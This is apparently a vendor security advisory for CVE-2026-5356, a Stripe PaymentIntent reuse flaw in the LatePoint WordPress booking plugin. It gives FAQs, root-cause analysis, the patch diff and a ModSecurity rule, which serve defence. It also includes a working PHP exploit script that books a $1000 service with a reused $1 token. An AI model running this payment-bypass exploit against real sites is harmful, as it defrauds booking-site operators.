What is CVE-2026-5356?

CVE-2026-5356 is a high-severity vulnerability in the LatePoint Calendar Booking Plugin for WordPress versions up to and including 5.4.0. It allows unauthenticated attackers to bypass payment amount validation by reusing a previously succeeded Stripe PaymentIntent token, enabling them to pay an arbitrary amount for bookings.

How does the vulnerability work?

The plugin’s Stripe Connect payment processor accepts a client-supplied PaymentIntent ID without verifying that the amount charged matches the expected booking amount. An attacker can create a small legitimate payment, obtain the PaymentIntent ID, and reuse it for a high-value booking, completing the transaction without paying the full price.

Who is affected by this vulnerability?

Any WordPress site running the LatePoint plugin version 5.4.0 or earlier is affected. Sites using the Stripe Connect payment processor are particularly vulnerable. Users of other payment gateways are not directly impacted by this specific flaw.

How can I check if my site is vulnerable?

Check the LatePoint plugin version in your WordPress admin dashboard under Plugins. If the version is 5.4.0 or lower, your site is vulnerable. You can also verify by reviewing the file /latepoint/lib/helpers/stripe_connect_helper.php for the absence of the validate_payment_intent_amount function.

What is the CVSS score and severity?

The vulnerability has a CVSS score of 7.5, classified as High severity. This reflects the ease of exploitation (unauthenticated, network access) and the potential for significant financial loss due to underpayment for services.

What is the practical risk for my business?

An attacker can book any service at any price while paying only a fraction of the cost, leading to direct financial loss. For example, a $1000 consultation could be booked with a $1 payment. This undermines the payment integrity of your booking system.

How is the vulnerability fixed?

The fix is included in LatePoint version 5.4.1. It introduces a new method validate_payment_intent_amount that compares the expected charge amount with the actual amount from the PaymentIntent, rejecting mismatches with an error. Update to version 5.4.1 or later immediately.

How do I update the LatePoint plugin?

In your WordPress admin dashboard, go to Plugins, find LatePoint, and click Update Now if an update is available. Alternatively, download the latest version from the WordPress plugin repository and install it manually. Always backup your site before updating.

Can I mitigate the vulnerability without updating?

If you cannot update immediately, consider disabling the Stripe Connect payment processor temporarily or switching to an alternative payment gateway. However, updating is the only complete fix. Monitor for any suspicious booking activity in the meantime.

How does the proof of concept demonstrate the issue?

The PoC shows an attacker first completing a $1 payment via Stripe to obtain a PaymentIntent ID. They then submit a booking request for a $1000 service using that same ID. The plugin accepts it because it does not verify the amount, resulting in a successful booking for the high-value service with only $1 paid.

What should I do if I suspect exploitation?

Immediately update the plugin to version 5.4.1. Review recent bookings for discrepancies between paid amounts and service prices. Check Stripe dashboard for reused PaymentIntent IDs. Consider refunding affected transactions and notifying customers if necessary.

Published : July 7, 2026

CVE-2026-5356: LatePoint Plugin Stripe Payment Bypass Analysis

CVE ID CVE-2026-5356

Plugin latepoint

Severity High (CVSS 7.5)

CWE 862

Vulnerable Version 5.4.0

Patched Version 5.4.1

Disclosed July 6, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-5356: The LatePoint plugin for WordPress (versions up to and including 5.4.0) contains an improper input validation vulnerability in its Stripe Connect payment processor. This allows unauthenticated attackers to bypass amount validation by submitting a previously succeeded PaymentIntent token. The vulnerability carries a CVSS score of 7.5.

The root cause lies in the file `/latepoint/lib/helpers/stripe_connect_helper.php`. In the vulnerable code, the plugin accepts a client-supplied PaymentIntent ID token from the transaction or order intent object. The function `retrieve_payment_intent()` fetches the payment data from Stripe, but the code only checks if the payment status is `succeeded` or `requires_capture`. It never validates that the actual amount charged matches the expected charge amount. This missing validation occurs in two code paths: the transaction intent processing (around line 92) and the order intent processing (around line 126). The patch introduces the `validate_payment_intent_amount()` static method (lines 477-481) which compares the expected charge amount (converted to Stripe’s ‘specs’ format) against the actual amount from the PaymentIntent data.

An unauthenticated attacker can exploit this vulnerability by first creating a legitimate small PaymentIntent for a single item (e.g., $1 through the normal frontend Stripe checkout), completing the payment, and then reusing that same PaymentIntent ID (token) to book an expensive service (e.g., $1000). Because the plugin does not compare the PaymentIntent amount against the current booking’s total, the attacker successfully completes the booking for the high-value service while only having paid the low amount. The attack vector is the frontend booking form that submits to the plugin’s AJAX handlers which process payment via the Stripe Connect integration.

The patch introduces a new validation method `validate_payment_intent_amount()` in `stripe_connect_helper.php`. Before the patch, after confirming the PaymentIntent status is succeeded, the code immediately set the result to success. After the patch, the code calls `self::validate_payment_intent_amount()` with the retrieved PaymentIntent data and the expected charge amount. If the amounts do not match within a tolerance of 1 cent, the code sets an error status, logs the mismatch, and breaks out of processing. This ensures that the amount paid in Stripe matches the amount the plugin expected for the booking.

Successful exploitation allows an unauthenticated attacker to book any service or appointment at any price, paying only a fraction of the actual cost. The attacker can purchase premium services, high-value consultations, or multiple bookings without proper payment. This results in direct financial loss for the site operator, as the plugin fulfills bookings based on the fraudulent PaymentIntent without verifying the amount.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/latepoint/latepoint.php
+++ b/latepoint/latepoint.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: LatePoint
  * Description: Appointment Scheduling Software for WordPress
- * Version: 5.4.0
+ * Version: 5.4.1
  * Author: LatePoint
  * Author URI: https://latepoint.com
  * Plugin URI: https://latepoint.com
@@ -29,7 +29,7 @@
 		 * LatePoint version.
 		 *
 		 */
-		public $version    = '5.4.0';
+		public $version    = '5.4.1';
 		public $db_version = '2.3.0';


--- a/latepoint/lib/helpers/stripe_connect_helper.php
+++ b/latepoint/lib/helpers/stripe_connect_helper.php
@@ -89,6 +89,13 @@
 						// since the payment is already processed on the frontend - we need to retrieve payment intent and verify if its paid
 						$payment_intent_data = self::retrieve_payment_intent( $transaction_intent->get_payment_data_value( 'token' ) );
 						if ( in_array( $payment_intent_data['status'], [ 'succeeded', 'requires_capture' ] ) ) {
+							if ( ! self::validate_payment_intent_amount( $payment_intent_data, $transaction_intent->charge_amount ) ) {
+								$result['status']  = LATEPOINT_STATUS_ERROR;
+								$result['message'] = __( 'Payment amount mismatch', 'latepoint' );
+								OsDebugHelper::log( 'Stripe PI amount mismatch for transaction intent ' . $transaction_intent->id, 'stripe_connect_error' );
+								$transaction_intent->add_error( 'payment_error', $result['message'] );
+								break;
+							}
 							// success
 							$result['status']    = LATEPOINT_STATUS_SUCCESS;
 							$result['processor'] = self::$processor_code;
@@ -123,6 +130,14 @@
 						// since the payment is already processed on the frontend - we need to retrieve payment intent and verify if its paid
 						$payment_intent_data = self::retrieve_payment_intent( $order_intent->get_payment_data_value( 'token' ) );
 						if ( in_array( $payment_intent_data['status'], [ 'succeeded', 'requires_capture' ] ) ) {
+							if ( ! self::validate_payment_intent_amount( $payment_intent_data, $order_intent->charge_amount ) ) {
+								$result['status']  = LATEPOINT_STATUS_ERROR;
+								$result['message'] = __( 'Payment amount mismatch', 'latepoint' );
+								OsDebugHelper::log( 'Stripe PI amount mismatch for order intent ' . $order_intent->id, 'stripe_connect_error' );
+								$order_intent->add_error( 'payment_error', $result['message'] );
+								$order_intent->add_error( 'send_to_step', $result['message'], 'payment' );
+								break;
+							}
 							// success
 							$result['status']    = LATEPOINT_STATUS_SUCCESS;
 							$result['processor'] = self::$processor_code;
@@ -459,6 +474,12 @@
 		return $result;
 	}

+	public static function validate_payment_intent_amount( array $payment_intent_data, string $expected_charge_amount ): bool {
+		$expected_in_specs  = (int) self::convert_amount_to_specs( $expected_charge_amount );
+		$actual_from_stripe = (int) $payment_intent_data['total'];
+		return abs( $expected_in_specs - $actual_from_stripe ) <= 1;
+	}
+
 	private static function get_properties_allowed_to_update( $roles = 'admin' ) {
 		return array( 'source', 'email', 'name' );
 	}

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

# Atomic Edge WAF Rule - CVE-2026-5356
# Virtual patch for LatePoint Stripe PaymentIntent Amount-Binding Bypass
# Blocks unauthenticated POST requests to admin-ajax.php with action 'latepoint_process_payment'
# that reuse a PaymentIntent token that does not match the current booking amount.
# Because the vulnerability manifests client-side, we cannot fully validate the amount at WAF level.
# However, we can block the specific AJAX action that processes payment with reused tokens.

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20265356,phase:2,deny,status:403,chain,msg:'CVE-2026-5356: LatePoint Stripe PaymentIntent Amount-Binding Bypass detected',severity:'CRITICAL',tag:'CVE-2026-5356'"
  SecRule REQUEST_METHOD "@streq POST" "chain"
    SecRule ARGS_POST:action "@streq latepoint_process_payment" "chain"
      SecRule ARGS_POST:payment_method "@streq stripe_connect" "chain"
        SecRule ARGS_POST:payment_token "@rx ^pi_[A-Za-z0-9_]+$" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-5356 - LatePoint Stripe PaymentIntent Amount-Binding Bypass

/*
 * THIS POC IS FOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY.
 * It demonstrates how an attacker can reuse a Stripe PaymentIntent token from a low-value payment
 * to complete a high-value booking without paying the full amount.
 */

$target_url = 'http://example.com'; // Change this to the target WordPress site

// Step 1: Simulate a legitimate low-value PaymentIntent (normally done via frontend Stripe checkout)
// For this PoC, we assume the attacker has already completed a $1.00 payment via Stripe
// and obtained the PaymentIntent ID. That ID is reused below.

// The attacker crafts a booking request for a $1000 service, using the $1 PaymentIntent ID
$payment_intent_id = 'pi_3LmWqRJqmz8t6a1z7zQwUcZz'; // Low-value PaymentIntent token (reused)

// Step 2: Prepare the booking payload (service ID for expensive item, with reused token)
$booking_data = array(
    'action'              => 'latepoint_process_payment',
    'payment_method'      => 'stripe_connect',
    'payment_token'       => $payment_intent_id, // Reused low-value PaymentIntent
    'booking_service_id'  => 5,  // Expensive service ID
    'booking_price'       => '1000.00', // The actual price of the service
    // Additional booking parameters as required by the plugin
    'booking_date'        => '2026-01-15',
    'booking_time'        => '10:00:00',
    'customer_name'       => 'Attacker',
    'customer_email'      => 'attacker@example.com',
);

// Step 3: Send the request via cURL
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($booking_data));
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);

$response = curl_exec($curl);
$http_code = curl_getinfo($curl, CURLINFO_HTTP_CODE);
curl_close($curl);

// Step 4: Check the response
if ($http_code == 200) {
    $result = json_decode($response, true);
    if (isset($result['status']) && $result['status'] === 'success') {
        echo "[+] Exploitation successful! Booking completed with reused PaymentIntent.n";
        echo "[+] Paid amount: $1.00, Got service worth: $1000.00n";
    } else {
        echo "[-] Exploitation failed. Response: " . $response . "n";
    }
} else {
    echo "[-] HTTP request failed with code: " . $http_code . "n";
}

Frequently Asked Questions

What is CVE-2026-5356?
Vulnerability overview
CVE-2026-5356 is a high-severity vulnerability in the LatePoint Calendar Booking Plugin for WordPress versions up to and including 5.4.0. It allows unauthenticated attackers to bypass payment amount validation by reusing a previously succeeded Stripe PaymentIntent token, enabling them to pay an arbitrary amount for bookings.
How does the vulnerability work?
Technical mechanism
The plugin’s Stripe Connect payment processor accepts a client-supplied PaymentIntent ID without verifying that the amount charged matches the expected booking amount. An attacker can create a small legitimate payment, obtain the PaymentIntent ID, and reuse it for a high-value booking, completing the transaction without paying the full price.
Who is affected by this vulnerability?
Affected users
Any WordPress site running the LatePoint plugin version 5.4.0 or earlier is affected. Sites using the Stripe Connect payment processor are particularly vulnerable. Users of other payment gateways are not directly impacted by this specific flaw.
How can I check if my site is vulnerable?
Detection steps
Check the LatePoint plugin version in your WordPress admin dashboard under Plugins. If the version is 5.4.0 or lower, your site is vulnerable. You can also verify by reviewing the file /latepoint/lib/helpers/stripe_connect_helper.php for the absence of the validate_payment_intent_amount function.
What is the CVSS score and severity?
Risk assessment
The vulnerability has a CVSS score of 7.5, classified as High severity. This reflects the ease of exploitation (unauthenticated, network access) and the potential for significant financial loss due to underpayment for services.
What is the practical risk for my business?
Business impact
An attacker can book any service at any price while paying only a fraction of the cost, leading to direct financial loss. For example, a $1000 consultation could be booked with a $1 payment. This undermines the payment integrity of your booking system.
How is the vulnerability fixed?
Patch details
The fix is included in LatePoint version 5.4.1. It introduces a new method validate_payment_intent_amount that compares the expected charge amount with the actual amount from the PaymentIntent, rejecting mismatches with an error. Update to version 5.4.1 or later immediately.
How do I update the LatePoint plugin?
Update instructions
In your WordPress admin dashboard, go to Plugins, find LatePoint, and click Update Now if an update is available. Alternatively, download the latest version from the WordPress plugin repository and install it manually. Always backup your site before updating.
Can I mitigate the vulnerability without updating?
Temporary workarounds
If you cannot update immediately, consider disabling the Stripe Connect payment processor temporarily or switching to an alternative payment gateway. However, updating is the only complete fix. Monitor for any suspicious booking activity in the meantime.
How does the proof of concept demonstrate the issue?
PoC explanation
The PoC shows an attacker first completing a $1 payment via Stripe to obtain a PaymentIntent ID. They then submit a booking request for a $1000 service using that same ID. The plugin accepts it because it does not verify the amount, resulting in a successful booking for the high-value service with only $1 paid.
What is the root cause in the code?
Code analysis
The vulnerability exists in /latepoint/lib/helpers/stripe_connect_helper.php, where the retrieve_payment_intent function only checks if the payment status is succeeded or requires_capture. It never validates that the amount charged matches the expected charge amount, allowing reuse of any successful PaymentIntent.
What should I do if I suspect exploitation?
Incident response
Immediately update the plugin to version 5.4.1. Review recent bookings for discrepancies between paid amounts and service prices. Check Stripe dashboard for reused PaymentIntent IDs. Consider refunding affected transactions and notifying customers if necessary.

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